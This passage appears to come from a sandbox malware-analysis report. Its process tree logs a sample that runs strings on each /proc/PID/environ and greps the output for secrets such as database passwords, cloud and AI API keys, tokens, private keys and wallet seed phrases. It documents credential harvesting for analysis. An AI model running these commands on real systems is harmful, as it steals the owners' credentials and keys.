  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:867
- /usr/bin/strings
  strings /proc/12/environ
  2⤵
  PID:866
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:869
- /usr/bin/strings
  strings /proc/13/environ
  2⤵
  PID:868
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:871
- /usr/bin/strings
  strings /proc/136/environ
  2⤵
  PID:870
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/strings
  strings /proc/137/environ
  2⤵
  PID:872
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:875
- /usr/bin/strings
  strings /proc/14/environ
  2⤵
  PID:874
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/strings
  strings /proc/146/environ
  2⤵
  PID:876
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:879
- /usr/bin/strings
  strings /proc/15/environ
  2⤵
  PID:878
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:881
- /usr/bin/strings
  strings /proc/158/environ
  2⤵
  PID:880
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:883
- /usr/bin/strings
  strings /proc/16/environ
  2⤵
  PID:882
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:885
- /usr/bin/strings
  strings /proc/160/environ
  2⤵
  PID:884
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/strings
  strings /proc/169/environ
  2⤵
  PID:886
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/strings
  strings /proc/17/environ
  2⤵
  PID:888
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/strings
  strings /proc/18/environ
  2⤵
  PID:890
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:893
- /usr/bin/strings
  strings /proc/19/environ
  2⤵
  PID:892
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:895
- /usr/bin/strings
  strings /proc/2/environ
  2⤵
  PID:894
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:897
- /usr/bin/strings
  strings /proc/20/environ
  2⤵
  PID:896
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/strings
  strings /proc/21/environ
  2⤵
  - Reads runtime system information
  PID:898
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:901
- /usr/bin/strings
  strings /proc/22/environ
  2⤵
  PID:900
- /usr/bin/strings
  strings /proc/222/environ
  2⤵
  PID:902
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:903
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/strings
  strings /proc/23/environ
  2⤵
  PID:904
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/strings
  strings /proc/24/environ
  2⤵
  PID:906
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:909
- /usr/bin/strings
  strings /proc/25/environ
  2⤵
  PID:908
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:911
- /usr/bin/strings
  strings /proc/26/environ
  2⤵
  PID:910
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:913
- /usr/bin/strings
  strings /proc/27/environ
  2⤵
  PID:912
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/strings
  strings /proc/28/environ
  2⤵
  PID:914
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/strings
  strings /proc/281/environ
  2⤵
  PID:916
- /usr/bin/strings
  strings /proc/283/environ
  2⤵
  PID:918
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:919
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:921
- /usr/bin/strings
  strings /proc/29/environ
  2⤵
  PID:920
- /usr/bin/strings
  strings /proc/294/environ
  2⤵
  PID:922
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:925
- /usr/bin/strings
  strings /proc/3/environ
  2⤵
  PID:924
- /usr/bin/strings
  strings /proc/301/environ
  2⤵
  PID:926
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:927
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:929
- /usr/bin/strings
  strings /proc/303/environ
  2⤵
  PID:928
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/strings
  strings /proc/304/environ
  2⤵
  PID:930
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:933
- /usr/bin/strings
  strings /proc/320/environ
  2⤵
  PID:932
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:935
- /usr/bin/strings
  strings /proc/324/environ
  2⤵
  PID:934
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:937
- /usr/bin/strings
  strings /proc/329/environ
  2⤵
  PID:936
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:939
- /usr/bin/strings
  strings /proc/4/environ
  2⤵
  PID:938
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:941
- /usr/bin/strings
  strings /proc/41/environ
  2⤵
  PID:940
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:943
- /usr/bin/strings
  strings /proc/42/environ
  2⤵
  PID:942
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/strings
  strings /proc/43/environ
  2⤵
  PID:944
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:947
- /usr/bin/strings
  strings /proc/5/environ
  2⤵
  PID:946
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:949
- /usr/bin/strings
  strings /proc/566/environ
  2⤵
  PID:948
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:951
- /usr/bin/strings
  strings /proc/578/environ
  2⤵
  PID:950
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:953
- /usr/bin/strings
  strings /proc/581/environ
  2⤵
  PID:952
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:955
- /usr/bin/strings
  strings /proc/585/environ
  2⤵
  PID:954
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:957
- /usr/bin/strings
  strings /proc/586/environ
  2⤵
  PID:956
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:959
- /usr/bin/strings
  strings /proc/6/environ
  2⤵
  PID:958
- /usr/bin/strings
